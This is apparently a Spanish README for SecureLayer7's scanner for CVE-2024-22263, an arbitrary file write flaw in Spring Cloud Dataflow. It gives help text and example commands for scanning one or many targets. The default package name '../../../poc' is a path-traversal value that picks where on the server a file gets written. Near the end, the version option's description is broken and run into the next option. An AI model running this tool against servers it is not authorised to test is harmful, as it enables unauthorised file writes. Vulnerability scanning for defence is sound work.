
(CVE-2024-22263) Spring Cloud Dataflow Escáner de escritura arbitraria de archivos
Solo para uso ético, no se permiten actividades dañinas o maliciosas. Es tu propia responsabilidad.
CVE-2024-22263: Escritura arbitraria de archivos en Spring Cloud Dataflow
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ╚════██╗╚════██╗╚════██╗██╔════╝ ╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗ █████╔╝ █████╔╝ █████╔╝███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ██╔═══╝ ██╔═══╝ ██╔═══██╗ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ███████╗███████╗███████╗╚██████╔╝██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝
By: SecureLayer7 (Zeyad Azima)
https://github.com/securelayer7/CVE-2024-22263_Scanner
usage: CVE-2024-22263.py [-h] [-t TARGET] [-p PORT] [-r REPONAME] [-n PACKAGENAME] [-v VERSION] [-f FILE]
Upload a package to the server.
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The target to scan (e.g., http://192.168.1.1).
-p PORT, --port PORT The port on the target (default: 80).
-r REPONAME, --repoName REPONAME
The repository name (default: local).
-n PACKAGENAME, --packageName PACKAGENAME
The name of the package (default: ../../../poc).
-v VERSION, --version VERSION
The version of the package (default: 1.0.0).
-f FILE, --file FILE A file containing a list of targets to scan in the format "http://target,port".
-t o --target: Especifica la URL del servidor objetivo (por ejemplo, http://192.168.1.1). Esta opción se usa al escanear un único objetivo.
-p o --port: Especifica el puerto del servidor objetivo (predeterminado: 80). Usa esta opción para establecer un puerto concreto para el servidor objetivo.
-r o --repoName: Establece el nombre del repositorio donde se subirá el paquete (predeterminado: local).
-n o --packageName: Establece el nombre del paquete (predeterminado: ../../../poc). El nombre del paquete es la ruta donde deseas escribir el archivo..
: Establece la versión del paquete (predeterminado: ).
Para escanear un único objetivo con un puerto específico:
python3 scanner.py -t http://192.168.1.1 -p 7577
Para escanear varios objetivos desde un archivo:
python3 scanner.py -f targets.txt
El archivo targets.txt debe contener líneas con el siguiente formato:
http://192.168.1.1,7577
http://192.168.1.2,8080
Para personalizar el nombre del repositorio, la versión del paquete y el nombre del paquete: El nombre del paquete es la ruta donde deseas escribir el archivo.
python3 scanner.py -t http://192.168.1.1 -p 7577 -r customRepo -n customPackage -v 2.0.0

-v o --version1.0.0-f o --file: Especifica un archivo que contenga una lista de objetivos a escanear. Cada línea del archivo debe seguir el formato http://target,port. Usa esta opción para escanear varios objetivos desde un archivo.